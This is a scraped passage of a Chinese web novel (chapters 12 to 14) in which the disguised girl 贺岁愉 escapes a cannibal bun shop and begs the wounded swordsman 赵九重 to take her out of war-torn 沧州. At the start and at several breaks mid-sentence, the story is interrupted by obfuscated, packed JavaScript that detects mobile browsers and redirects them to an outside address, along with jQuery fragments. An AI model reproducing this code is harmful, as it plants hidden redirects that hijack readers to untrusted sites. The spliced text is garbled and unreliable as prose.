d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977652|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她现下想得格外明白,姓赵的有这身功夫,她跟在他身后,总比自己一个人在这乱世中强。这个世道,她这么弱小,单打独斗肯定不行,还是得找根大腿抱一抱。 赵九重态度亦是坚决,干脆果断地拒绝道:“不行。” “为什么不行?”贺岁愉大有刨根问底的架势,“你是不是……记恨我出卖了你,领着那群人来了福来客栈?” 不等赵九重说话,她又赶忙道:“我也是没办法的呀!你看看我头上和脸上的伤,我要是不带他们来的话,我就要被他们活活打死了!” 贺岁愉指着自己脸上的伤给他看。 赵九重抿唇不语,看了一眼她惨兮兮的伤口,然后撇开了目光。 贺岁愉心里直打鼓。 不是吧,这都不同情她?这姓赵的不是一向为人侠义厚道么?怎么对她就如此刁钻刻薄? 良久,他开口道:“我还另有他事要做,不能带着你。” 贺岁愉看他神情不似在说假话,便不死心地多问了一句,“你要去做什么?” 赵九重慢慢抬头,看向贺岁愉,“那伙人留着,势必是个祸患,他们一定会再去抓那些孩子们。” 他的语气逐渐坚定,“我要杀了他们。” 贺岁愉瞪大眼睛,失声道:“什么?你疯了吗?” 她不可思议地看着赵九重,他如今伤成这个样子,还敢口出狂言说要杀了他们,他真的不是去送命的吗? 贺岁愉忽然觉得,她抱大腿的人选有必要再慎重思量一下,别大腿没抱成,把小命搭进去了。 姓赵的想去送死,她可不想。 赵九重也料想到,他此话一出,这贪生怕死的小贼必不会再缠着他,说要跟着他。 他骑着马朝前走了两步,忽然想起什么,又回过头来。 “你不许去告密。”他目光凌厉,颇有威慑力地说。 贺岁愉满脸匪夷所思。 不是,他把她想成什么人了?她是那种人吗? “放心吧你!”她没好气地大声冲他吼,“我躲他们都来不及,又不是像你一样疯了,还往回去凑。” 贺岁愉的话音刚落,不远处传来杂乱的马蹄声,应该是一大批人,他们所在的地方,地面都隐隐颤动起来。 贺岁愉脸色一变。 赵九重的面色凝重,“他们追上来了。” 贺岁愉脸上血色尽失,拔腿就跑,刚跑几步,那些人便骑着马出现在了他们不远处。 她只回头看了一眼,便被那群黑压压的人影吓得魂飞魄散。 救命啊! 贺岁愉拼命地跑,拼命地跑,慌不择路跑进一条荒僻的巷子,见有一户人家院子门没锁,她当即便打开门钻了进去,然后顺手关上了门。 她大口大口喘息着靠在门上,正想要找个地方藏起来,无意间抬起头,看见了满院子悬挂起来的白花花的肉。 但是,这显然不是猪肉,因为里面还有一些保留着原本形状的大腿。 贺岁愉甚至还看见了墙角堆着的一大推,带着红色残肉的骨头。 她脸上的惊慌表情,一寸寸龟裂开,变成了彻彻底底的惊恐。 12. 张琼 院子的女主人大概是听见了院子里的动静,从侧边一间屋子里钻出来。 贺岁愉与她四目相对,整个人如坠冰窟。 鹅蛋脸、身形丰腴高挑的老板娘看见靠在院子门上的贺岁愉,扑了粉的白面上,缓缓露出了一个美丽而诡异的笑容。 贺岁愉此时还有什么不明白的,她阴差阳错跑进了那间人肉包子铺的后院。 贺岁愉:“……” 她有些咬牙切齿,人怎么可以倒霉到这种地步? 老天奶,你想要我的命就直说! 贺岁愉动作从来没有这么快过,以迅雷不及掩耳之势转过身,“哗啦——”一声拉开院子门,拔腿就跑。 身后的老板娘变了脸色,当即提着菜刀追出来。 贺岁愉从巷子里跑出来,本来想往左边跑,但迎面撞上两个要赶去与同伙们汇合的贼人,对方还认出了她。 她不得已往另一边,也就是朝赵九重的方向跑。 这把真是绝处逢生了。 她想:要死也得死在赵九重后面,让赵九重先抵上。 贺岁愉跑回去时,远远便看见赵九重被一群贼人围在中间,身上又被砍出了新的伤口,血流不止。恐怕姓赵的自身都难保,如何能救她? 她跑得气喘吁吁,但是丝毫不敢放慢脚步,包子铺的老板娘和那两个贼人都紧紧跟在她身后,稍微慢一点就要被追上。 贺岁愉回过头来,正看见那老板娘将菜刀掷过来,那刀刃上冷冽的寒光从她的眼中一闪而过,她瞳孔一震,根本来不及躲开。 想她如花似玉一样的年纪,什么都来不及做,就要死在这里了? 不,她不想死。 但是那把刀已经到了面前,一道寒光从贺岁愉脸上闪过,她下意识紧紧地闭上了眼睛。 突然,“砰——”一声,从另一个方向掷出的一把大刀十分精准地砍在了菜刀上,蹭出了一串火星子。 那把直直朝贺岁愉飞过来的菜刀被截断轨迹,和大刀一齐,“咣当——”一声掉在了地上,就躺在距离贺岁愉半步远的地方。 差一点点,差一点点……她就要死在这把菜刀下了。 贺岁愉惊恐地盯着地上的两把刀,好几个呼吸后才反应过来,猛地朝赵九重看过去。 此时,她还以为,是赵九重忙中抽空掷出的大刀救了她一命。 但是赵九重仍然被围在那群贼人中,与他们厮杀得鲜血淋漓。贺岁愉这才意识到,救了她的另有其人。 老板娘提防地扫视四周,做足了防御姿态,质问道:“何人多管闲事?” 一个身形壮硕、长相粗疏的汉子不知从哪儿跳出来,挡在了贺岁愉面前,高声应道:“是俺!” 贺岁愉楞楞地看着这个人的背影。 “小兄弟,去一边躲着!”汉子提醒说。 说罢,汉子捡起地上的大刀,朝他们冲了过去。 贺岁愉趁坏人们都被赵九重和汉子拖住了,没有人顾得上她,她赶紧跑去一边,远远躲着。 *** 那老板娘跟汉子过了两招,自知不是对手,赶紧趁机溜了,连地上砍人的菜刀都不要了。 方才追杀贺岁愉的两个贼人功夫一般,没在汉子手底下过几招,就被那汉子抹了脖子,鲜血如注地倒在地上。 解决了这边的两个人,汉子又连忙去给赵九重帮忙。 赵九重虽然受了重伤,但是也将方才追杀过来的人杀了一大半,有了汉子的帮助后,很快就将所有的贼人都解决了。 赵九重一直吊着的一口气终于松了,卸了力,双眼一闭,“砰——”一声倒在了地上。 “小兄弟!” 那汉子吓了一跳,连忙蹲下身去查看赵九重的情况。“小兄弟,你没事吧?” 躲在角落里的贺岁愉也赶紧跑过来,站在一旁看赵九重死了没有。 赵九重睁开眼睛,胸口起起伏伏,缓了一会儿,感激地抓住汉子的手,“多、多谢大哥的救命之恩,刚刚若不是你,小弟恐怕真的要成了那群贼人的刀下亡魂。” 汉子豪气干云地说:“路见不平,拔刀相助,俺近日刚得了一把宝刀,正想试试这刀锋利否!” 赵九重在汉子的搀扶下坐了起来,看向汉子放在旁边的刀,点头应和:“的确是把难得一见的宝刀。” 汉子听到赵九重夸他的刀,嘿嘿地笑了。 “你们二人怎么惹上了这么一群厉害人物?”汉子问。 “这、这就说来话长了……”赵九重现在说话都格外费劲。 贺岁愉见状,主动站出来向汉子解释事情的起因,“事情是这样的……” 汉子听罢,亦是气愤,“如今世道乱,这些黑心贩子便浑水摸鱼,仗着官府不管,平民百姓也奈何不得他们,便大肆抓捕无辜幼儿,想这些孩子,哪个不是爹生娘养的?教他们这么糟践!” 贺岁愉垂下眸子。 她忽然想到了自己一直有所疑惑的事,不知那些贼人抓这么多小孩子做什么。是要卖去做奴仆倡伎,还是……用在别的地方。 她曾在史书中见过寥寥几字的乱世情形记载,如今想来,才知道其中如何触目惊心。 贺岁愉的脑海中,忽然又闪过了包子铺老板娘在破庙里说的那句“和骨烂”。 顿时,她不寒而栗。 她不敢去想,那些小孩子如果真的被抓走,会有什么样的结局。 她已经渐渐开始了解到一些可怕的事实,这个混乱黑暗的时代,“食人”并非只是无奈之选,有一些能吃饱饭的人,也会“食人”,因为他们出于“以形补形”抑或其他的各种原因,嗜好如此。 更可怕的是,如今战乱不止,听说军队无粮时,也会以人做军饷。 在乱世求生,果然是一件难如登天的事。 这样想来,那些小孩儿若是被卖做奴仆倡伎,竟然算是好的结局。 想到这里,她不禁嘴角勾出一个略带嘲讽的苦笑。 赵九重听了汉子的话,也颇为惆怅地感慨道:“世道越乱,这人就越不像人了。” 赵九重与汉子一起感慨了一番,忽然想起另一件事,看向汉子,“敢问恩人尊姓大名啊?” “俺叫张琼!”汉子看了看赵九重的伤势,说道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977653|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小兄弟你家住哪里,伤成这个样子,不如俺送你回家?” 赵九重正要说话,忽然不远处马车的声音传过来,伴随着牵肠挂肚的呼唤传进了几人的耳中—— “赵兄弟,赵兄弟,你没事吧?” 陈掌柜驾着马车,一边大喊着,一边朝他们过来了。 赵九重苍白如纸的脸上露出笑容,“多谢张大哥的好意,我的朋友来接我了。” 张琼转过头去。 陈掌柜已经驾着马车到了跟前,被地上躺了一片的血淋淋尸体吓得不轻。 但他还是跳下了马车,跨过横七竖八躺着的尸体,三两步跑到了赵九重身边。 贺岁愉有点懵。 来福客栈的掌柜的怎么会突然到这里来? “你——”她呆呆地看着陈掌柜,下意识问,“你刚刚在客栈,不是……怕那群人怕成那个样子么?还领着他们……” 贺岁愉的话还没有说完,陈掌柜就哼了一声,“那自然都是我装出来的!方才在客栈,不过是演戏罢了!是赵兄弟要我这么做的,否则,我岂是那等出卖兄弟的小人?” 说到这里,陈掌柜还意蕴深刻地看了贺岁愉一眼。 贺岁愉:“……” 她磨了磨牙,这老东西内涵得不要太明显。 陈掌柜没看见贺岁愉的眼神,他扶着赵九重从地上起来。 赵九重再次向张琼道谢,“不知张大哥住在何处,等小弟伤好以后,必定要登门拜谢,到时候,还要给小弟一个请张兄畅饮的机会!” 张琼将大刀插在地上,豪爽地笑着说:“俺只是路过此地,今日便要出城离开沧州了,登门拜谢是不必了,将来有缘再见时,俺必定与你喝个痛快!” 赵九重颇有几分遗憾。 他出来闯荡江湖,向来喜欢结交如张琼这版般的英雄豪杰。 “好,”赵九重应道,“届时再与张大哥喝个痛快!” *** 送走了张琼,陈掌柜扶着赵九重踩过贼人的尸体,朝停在一边的马车走去。 贺岁愉在一旁站着,她无处可去。 那伙贼人已经悉数被赵九重和张琼解决,但是那包子铺的老板和老板娘也是个隐患,思来想去,她不如还是抱回赵九重这跟大腿。 想到此处,她便厚着脸皮上前,搓着手,探头探脑道:“我看你这马车挺宽敞的,能不能也捎带我一程?” 陈掌柜扶着赵九重上马车,头也不回地问:“你去哪儿?” 贺岁愉:“你们去哪?” 赵九重刚钻进马车,反应过来贺岁愉的意思,回过头来,“你跟着我们做什么?” 贺岁愉顿了顿,决定坦言,摊开手道:“我实在无处可去啊。” “那跟我们有什么关系?”赵九重反问。 “你!”贺岁愉听见这熟悉的句式,噎了一下,回答说,“当然有关系了!赵少侠,我们可是多次一起历经生死的关系,生死与共呐!” 赵九重“呵”了一声,“我怎么不知道生死与共?” 他提醒她道:“就在刚刚,你还抛下我,自己跑了。” 13. 烂命 贺岁愉底气不足地狡辩说:“那我不是又回来了嘛。” 赵九重皮笑肉不笑,“对啊,可惜是被追杀回来的。” 贺岁愉:“……” 她额角青筋蹦了蹦,“赵少侠不是向来喜欢锄强扶弱,何时如此小肚鸡肠了?” “我小肚鸡肠?”赵九重露出一点不可思议的表情,正要好好与贺岁愉辩驳一番,刚张开嘴,猝不及防,喷出一大口血来。 贺岁愉和陈掌柜都吓了一跳。 贺岁愉还下意识多远了一点,生怕被他的血溅到。 陈掌柜一脸担忧,连忙劝道:“赵兄弟,你伤得这么重,还是先别说话了,咱们赶紧回去看大夫要紧。” 陈掌柜话落,便要驱赶马车离开。 贺岁愉见状,连忙一把抓住了马车沿,抬起头,语气十分坚定地对陈掌柜说:“带上我一起!” 赵九重捂着胸口,吐血不止。 陈掌柜急得像是热锅上的蚂蚁,看贺岁愉如此倔强,一咬牙,干脆说:“上来,上来,赶紧上来!” 赵九重伤势复发,没有精力,也没有力气再和贺岁愉斗嘴。贺岁愉乐得清净,钻进马车里,一屁股坐在了离赵九重最远的地方,自在得像是坐进了自己的马车里一样。 青年面如白纸、双眼紧闭,瘫软地靠在马车的角落,也不知道是在闭眼假寐,还是痛昏过去了。 贺岁愉瞟了一眼,就没再看他,侧过身掀开帘子,朝外面看去。 陈掌柜忧心赵九重的伤势,驾着马车在路上疾驰。贺岁愉认出了,这是去来福客栈的路。 *** 没过多久,来福客栈到了。 陈掌柜掀开帘子,进来扶赵九重下马车,贺岁愉回过神来,觉得自己干看着不大好,假模假样地也去扶着赵九重。 毕竟,她现在有求于人,纵然讨厌姓赵的,但是也不得不做个殷勤的样子出来。 贺岁愉和陈掌柜一起,将赵九重扶上了楼,扶到了客栈二楼的客房里。 很快,店里的小二便带着大夫回来了。 贺岁愉看着胡子头发花白的老大夫,思维有些发散。 大夫这么快就来了,看来是店小二提前过去请的。原来,赵九重也不全然是送死,还多少做了一点准备。 不过,如果今天不是那个叫做张琼的汉子及时出现救了他们,现在,她和赵九重早就成了刀下亡魂。赶来接人的陈掌柜只能过来给赵九重收尸了,赵九重提前委托店小二请的大夫肯定也用不上了。 所以啊,做再多的准备有什么用?还不如从一开始就识相一点,别找死。 贺岁愉回过神来时,陈掌柜正在脱赵九重的衣服。赵九重伤得这么重,必须得脱了衣服上药。 贺岁愉的视线穿过陈掌柜胳膊下方,看见赵九重裸/露出来的结实胸膛,瞳孔一震,赶紧转身出去了。 她在门口站着,不多时,店小二端着一盆血水拉开门出来。 那是擦洗赵九重伤口染出来的,血红一盆,看起来有些骇人。 店小二没注意贺岁愉站在门口,一转身,险些撞在贺岁愉身上,连带着他端的那盆血水都差点儿泼在贺岁愉身上,幸亏贺岁愉躲得快。 店小二好不容易端稳盆,抬起头埋怨地看了贺岁愉一眼,抱怨说:“哎呀,这水泼到地上,掌柜的又要说了!” 贺岁愉向来不是受气的人,知道他在责怪自己,反驳:“谁让你不看路的?” “那谁让你站在这儿挡路的?”店小二端着盆走了,一边下楼梯一边抱怨,“一个大男人还跟个小姑娘似的,见人脱衣服还躲出来避嫌,木头桩子似的挡在门口,净给人添乱!” 贺岁愉惊诧地看过去,嘿,这碎嘴子的店小二! 若不是他跑得快,她势必要上去好好跟他讲讲道理。 他走路不看路,他还有理了? *** 如今沧州的境况,有钱的都千方百计逃难去了,没钱的烂命一条,也吃不起客栈的饭菜住不起客栈的房间,所以客栈里空荡荡一片,没什么客人。 贺岁愉随便挑了个凳子坐下。 天快要黑时,老大夫背着药箱从楼上颤颤巍巍地下来。 贺岁愉本想上去看看,但是又想起赵九重现在没醒,她现在上去献殷勤他也不知道,还不如歇着。 她转了个方向,朝后厨去了。 因着赵九重和陈掌柜关系不错,贺岁愉打着赵九重的名义,费了一番口舌,在后厨混了碗香喷喷的素面。 她看着碗里热腾腾的面条,流下了感动的泪水,她都记不清自己有多久没吃过一顿饱饭了。 吃完了素面,正巧店小二熬好了药,要端到二楼去,贺岁愉跨步上前,伸手去接,“交给我就好了。” 店小二对贺岁愉的殷勤有点怀疑,“你?” 贺岁愉笑着说:“我正好要去二楼,顺道送上去吧,免得耽误小哥你干活。” “那好吧。”店小二将信将疑地把托盘交给了贺岁愉。 贺岁愉端着药,转过身,上了二楼。 *** 贺岁愉来得正好,赵九重刚好醒过来。 贺岁愉端着药递到赵九重手边,正想要挤出一个笑容来,毕竟她还想求人办事。 赵九重看见是她来送药,吓了一激灵,怀疑地看着碗中漆黑的药汁子,“你、你不会在里面下毒了吧?” “你有被害妄想症吧你?”贺岁愉好心当了驴肝肺,没好气地瞪他一眼。 话刚出口,又想起自己还有求于人,又刻意放软了说话的语气,“我是那种人嘛,我说了,我们是同生共死的好兄弟,我岂会害你啊?” 赵九重龇牙咧嘴。 贺岁愉以为他是伤口又疼了。 结果,赵九重说:“你别这么说话,我难受。” 贺岁愉背在身后的那只手,拳头捏紧了。 有些人就是天生听不得好话的贱骨头。 赵九重最终还是端起了那碗药,仰头一饮而尽。 他放下碗,忽然反应过来,他杀了那群贼人,那些贼人的尸体都还摆在城南的空地上。那边虽然荒芜少人,但是也拖不了多久,最迟明天那些尸体就会被发现。 他现在住在客栈里,若是官府的人找上门来,恐怕会连累陈大哥这个客栈掌柜。 不行,他不能累及陈大哥。 顿时,赵九重便二话不说,掀开被子,要起身离开客栈。 陈掌柜从外面推开门进来,正好看见赵九重拖着一身伤,从床上爬起来要下床。 陈掌柜吓了一跳。 他还没来得及说话,赵九重便因为伤重失了力气,“砰——”一声摔在了地上。 陈掌柜惊呼一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977654|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大步冲上去,“赵兄弟,你这是做什么?你伤成这个样子,不好好地在床上躺着休息,下来做什么?” 贺岁愉原本只是见赵九重能自己喝药,所以去窗户旁边看了看外面的天色而已,听到陈掌柜的声音,一扭头,便看见赵九重半死不活地躺在地上。 贺岁愉眼前一黑。 这样,是不是会显得她照顾得太不用心了点儿诶。 陈掌柜还以为,是贺岁愉又说了什么,抑或是做了什么,所以才导致赵九重气得不轻,不顾身上的重伤,也要爬下床。 听到陈掌柜如此问赵九重时,贺岁愉一脸懵,满脸不可思议,陈掌柜怎么会怎么想? 从天而降一口大锅,她真是比窦娥还冤! 她什么都没做啊! 谁知道赵九重忽然抽什么疯,鬼上身一样从床上爬下来,摔在了地上。 明明是他自己活该,跟她没有半分钱关系。 贺岁愉正要为自己辩驳,赵九重便开口了。 他靠在床头上,语气虚弱地说:“陈大哥,我怕官差会找上门,我不能住在这里连累你。” 陈掌柜将赵九重一把摁下,“赵兄弟,你就安心地躺着吧!” “如今沧州城这么乱,衙门前些日子已经发不出来粮饷,早就没有官差了。”陈掌柜摆摆手。 “城北出了几十起流民抢劫引起的命案了,根本就没有人管!城南每天几十上百的死人,大家早就司空见惯了。你今日杀的那些人恐怕也会被归为流民抢劫。” 陈掌柜轻轻拍了拍赵九重的肩膀,“放心吧,不会有官差找上门的。” 赵九重闻言,有些惊讶,“沧州境况竟已严重至此了吗?” 陈掌柜深深地叹了一口气,说道:“只怕是比我说的还要更严重些!非但如此,我还听说,前面的城池快要守不住了,契丹恐怕要打过来了,赵兄弟,我看你也别再沧州久待了,等伤好得差不多了,就赶紧走吧!” 赵九重点点头,“小弟明白了,多谢大哥提醒。那陈大哥你呢?你准备何时离开沧州?” 陈掌柜满脸愁容地说:“我已经联系了镖局,待明日遣散客栈中的伙计们,后日便带着一家妻儿老小,跟着镖队们一起离开。” “我不比赵兄弟你,有一身好功夫自可来去自如,如今这世道,出了城,便是贼匪们的盘中鱼肉,若不是实在没法子了,也不会选择背井离乡这条路。”陈掌柜语气失落地说。 赵九重被陈掌柜的话勾起了一些回忆,想他当初也是觉得自己在洛阳混不出个名堂,所以才拜别爹娘,出来闯荡江湖,如今离家已经已近一载,可他仍然一事无成。 浓重的惆怅涌上赵九重的心头。 他点点头,应和说:“陈大哥说的是,若不是没法子,谁放着好好的日子不过,在外飘荡呢。” 贺岁愉站在一边,完全产生不了一点共情,甚至对他们的话颇为鄙夷。 她忍不住在心中冷冷道:两个大男人,一个是客栈的掌柜,一个是富家公子哥,不愁吃,不愁穿,不过是搬个家,便有一箩筐的多愁善感。 她一个吃不饱,穿不暖,活了今天有没有明天都不知道的人,尚且都没说话呢。 老天奶就该把他们的钱都让她拿着,让他们来体会一下她身无分文、烂命一条的苦日子。 贺岁愉那个恨啊,真是咬牙切齿。 14. 跪求 陈掌柜不日要离开沧州了,此后再见,遥遥无期。 当夜,烛火暗淡, 在赵九重房间掉漆的桌子上,摆上了一碟花生米,一碟炒胡豆,一碟半肥半瘦的盐水腊肉。 陈掌柜和赵九重对坐桌前。 陈掌柜顾忌着赵九重的伤势,没让他喝酒,二人便以茶代酒,谈笑对酌。 窗外乌漆墨黑一片,夜里静悄悄的,只有二人的说话声,以及偶尔传来的爽朗笑声。 陈掌柜马上要离开沧州,客栈里根本没有客人,房间都是空的,贺岁愉便厚着脸皮赖到了一间屋子,所以住在了赵九重的隔壁。 但客栈的隔音效果很差。 贺岁愉被二人的说话声吵醒,半睁着眼,嘟嘟囔囔咒骂了两句,翻了个身,往被子里钻了一点,捂着耳朵又睡了。 旦日, 外面淅淅沥沥下着小雨,天空灰蒙蒙的,客栈里亦是昏暗。 贺岁愉端着药碗推开赵九重的房门, 赵九重被开门声吵醒,见是贺岁愉,于是慢吞吞撑着床铺坐起身来。 经过一夜休息,他的状态明显比昨天好多了,起码不是昨天那样看起来就随时会死的样子。 贺岁愉把药碗递给他。 赵九重接过去,如之前一样,干脆地仰头一饮而尽。 贺岁愉本来还在酝酿,想要假惺惺地说些什么来讨好赵九重,拉进二人之间的关系。 她还没想出来要说什么,就突然听到赵九重语气干巴巴、且毫无礼貌地问:“你准备什么时候走?” 贺岁愉啊了一声,一脸莫名其妙地看向他。不知道是真的没反应过来,还是装糊涂。 赵九重抬手,丢了颗花生米过来,正正好砸在贺岁愉脑门上。 贺岁愉“嘶——”一声。 这次他问得格外清楚,一点钻空子的机会没给她,“你准备什么时候离开来福客栈?” 贺岁愉心里骂骂咧咧,捂着脑门抬起头来,看见了赵九重似笑非笑的脸。 贺岁愉:“……” 赵九重的笑给她一种,他已经识破了她的小算盘的感觉。 看来,是非要她给出个回答是吧? 她坐直了身子,毫不心虚地问:“那你什么时候离开?” 赵九重挑眉,“又来这招?” 贺岁愉也想起了之前,她抓着马车非要跟来来福客栈时,就是这么说的。 她略有点尴尬,闭上了嘴,不再多说什么。 赵九重收了脸上的笑意,黑漆漆的眸子盯着她,“说说吧,你跟着我,到底想做什么?” 事已至此,贺岁愉也没什么好瞒的了,实话实说道:“你离开沧州能不能带着我一起?” 他拧眉看她:“你跟着我做什么?” 贺岁愉咳了一声,不大自在地说:“城外太乱了,我就是你觉得你武功高强,跟着你一起,比较安全。” 赵九重坚定地拒绝了,“不行,我闯荡江湖,带着你一起不方便。” “有什么不方便的?虽然你是个男的,我……”贺岁愉话说一半儿,声音戛然而止,因为她突然想起来对方还不知道自己是个女子,根本不是因为这个原因。 看着赵九重蹙起的眉头,她话锋一转,“虽然你是个男的,我也是个男的,我没有什么便宜让你占……” 赵九重疑惑震惊后迅速黑了脸,打断了她:“讲得什么乱七八糟的!” 贺岁愉见自己的一时口误,顺利蒙混过关,并不在意他阴沉的表情,“那你为什么不带我?” 赵九重黑着脸回答:“你半点功夫都不会,带着你是个累赘。” “你不是锄强扶弱吗?我这个‘弱’在你面前,你为什么不‘扶’?”贺岁愉一副我弱我有理的样子。 赵九重不可思议地上下打量她:“你看看你说话的气势,哪有半分弱的样子?” 贺岁愉一时语塞。 见赵九重一脸坚决,毫不退让,铁了心不愿意带上她,贺岁愉悄无声息磨了磨牙。 别给脸不要脸,夸他武功高强,是给他脸面,要不是没选择,她才不会低声下气来求他。 酝酿了一会儿, 她突然扑到床边,“我不会武功,我就是需要你‘扶’的‘弱’啊,我求求你了,你带着我一起离开沧州吧!” 赵九重被她突然发力吓了一跳。 贺岁愉见他似有松动,于是又添了一把火,哭嚎着:“我给你跪下了,求求你了,带着我一起离开沧州吧!我孤身一人,举目无亲,无依无靠,又不会武功,前段时间被那群贼人打出来的伤现在都还没好,我一个人在沧州是活不下去的啊……” 说着,她就要往下滑,要往床边跪。 赵九重下意识一把抓住了她。 贺岁愉一边哭嚎,一边偷偷去瞟他的脸色。 赵九重脸色铁青,但是没再说出来拒绝的话。 贺岁愉被袖子遮挡的面容上,露出一点点了然。 哦,吃软不吃硬嘛。 *** 来福客栈在一日之内空了,原本就没有客人的客栈在几个店小二和厨子都离开以后,显得更加空荡了,说话时都能听到回音。 一转眼,就到了陈掌柜离开的日子。 陈掌柜提前留了一把钥匙交给赵九重,慷慨地让赵九重住到离开沧州为止。 经过两日修养,赵九重已经能下地,坚持要送陈掌柜出城,贺岁愉本来懒得动弹,想在客栈里躲清闲,但是又怕赵九重反悔,万一不回客栈自己一个人先跑了,所以她便跟着一起来了。 沧州的街头一片荒芜,临街的店铺几乎关完了,街道上陆陆续续有马车朝城门口驶去。 路边到处都是骨瘦如柴的流民,一看见富人的马车要出城,便一窝蜂围了上去,各个满脸殷切与渴望,想要乞讨一些食物,但是却只得来狠辣的鞭打和斥骂。 陈掌柜携一家妻儿老小,跟在浩浩荡荡的镖队后头,挤在一辆半旧的小马车里出城。 在渐去渐远的马蹄声中,蜿蜒的长队逐渐化作一个模糊的黑点,最终在路的尽头消失。 赵九重目送马车远去,望着苍茫的远方,目光沉沉,不知道在想些什么。 贺岁愉靠在脏兮兮的墙壁上,静静地看着另一边——被人群推攘着、即将被马车轮子压断腿的男人,在关键时刻,马车附近挤挤攘攘的人群挡住了贺岁愉的视线。 只听到那男人突然惨叫一声。 等贺岁愉再透过人群的缝隙看见他时,他已经奄奄一息地倒在血泊里了,她在泥泞的车辙里看见了他那条被压断的腿,血肉模糊。 赵九重被惨叫声吸引了注意力,快步走过去。 贺岁愉脸色一变。 不是,这人不会又要多管闲事吧? 照他这么个行侠仗义法儿,累死都管不过来天底下的不平事。 贺岁愉虽然有点儿烦躁,但是还是跟了上去,毕竟她还想跟着姓赵的一起出城逃难。 那马车压断男人的腿以后并不满足,正要倒回一点,朝男人的身体压过去,像是不把人压成碎片不甘心似的。 幸亏赵九重来得及时,从车轮下救下了惊恐的男人。 赵九重一脚将那高大的马车踹得猛烈一晃,马车里的人“砰——”一声不知撞在了哪里,发出一声杀猪般的嚎叫。 “少爷!” “少爷您没事吧?”跟在马车旁边的几个侍卫和小厮慌了神,纷纷关切询问。 很快,马车的车窗处,一个肥头大脑的男人“唰——”一声掀开帘子,探出半边身子,凶神恶煞地质问:“哪个杂种,敢踹老子的车,不要命了!” 男人恶狠狠的目光扫视一圈,落在了赵九重身上,“狗杂种,是你啊。” 赵九重站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977655|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在低处,周身气势却一点也不低,毫无惧意不说,脸上甚至带着蔑视与嘲弄,声音响亮地应答:“就是你爷爷我!” 男人闻言,瞪得眼珠子都快出来了,又惊又怒地说:“我看你小子是不想活了!你们是死的吗?都给我——” 暴怒的男人正要招呼身边的护卫上去围住赵九重,但是话还没说完,就被打断了—— 赵九重抢过马车夫手里的鞭子,牟足了劲儿一鞭子抽在马屁股上,马儿吃痛,仰头发出高亢嘶鸣,疯了似地往前跑,带着马车飞快朝前奔去。 那气势汹汹的男人话还没说完,就被晃倒,又“砰——”一声撞在了车里,比刚才那声还响。眨眼间,男人就被疾驰的马车带走了,只有他的惨叫声顺着风被吹过来。 剩下骑马的几个护卫,被突如其来的变故整了个措手不及,根本来不及去阻拦马车,便将怒火集中在了始作俑者赵九重身上,想要围住赵九重好给主子一个交代。 赵九重朝马车离去的方向扬了扬下巴,“你们的主子都跑了,你们还不快去追!” “他要是有个好歹,你们都不跟在身边,即便抓住我又有什么用?”青年抱着胳膊,理直气壮地说。 “啊——啊——”那杀猪般的惨叫声又传了过来。 几个护卫对视一眼,权衡之下,还是主子的安危比较重要,连忙驾着马朝城外追去了。 *** 待那群人走了以后,赵九重这才转过身来,去看方才被马车压断腿的男人。 男人匍匐在泥泞的地上,费力地往前爬着,已经爬出了很远。 鲜血顺着他的残肢流了一路,在黄土地上绘成一条血色的线,刺目的鲜红从地上一直延伸到他被鲜血浸染的褴褛衣衫,就像是牵引在他背后的长线一样。 这长线也许有个名字。 大概叫做命运。 不知道是人牵着线,还是线牵着人,反正,每个人都是命运的提线木偶。 贺岁愉凝视男人伏在地上,缓慢挪动的背影,就像一个小黑点。 从来没有哪一刻,她觉得人和蝼蚁如此相像过,不论是从外形还是从命运上。 赵九重见男人在地上爬得艰难,又想上前。 贺岁愉忽然紧紧抓住他的袖子,用那双带着红血丝的眼睛,定定地盯着他:“你能救一个、救十个、救百个,你难道还能救千千万万个不成?” 赵九重脚步一顿,停在了原地。 他袖中的手捏成了拳头,指节收紧,“咔咔”作响。 见他停下,贺岁愉面上不悲不喜,失神地收回了拉着他袖子的手。 方才那一刻,她想听到的答案是什么呢? 是他清楚地认识到现实,从而退却明哲保身,不必她再费心劝告阻拦;还是他仍然满腔热血给她肯定的答案,一往无前,决不回头。 她也不知道。 